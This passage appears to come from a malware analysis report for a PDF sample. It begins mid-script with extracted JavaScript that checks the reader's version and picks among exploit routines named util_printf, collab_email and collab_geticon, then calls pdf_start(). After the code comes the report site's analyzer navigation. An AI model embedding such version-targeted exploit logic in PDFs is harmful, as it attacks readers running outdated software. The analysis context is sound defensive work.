3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2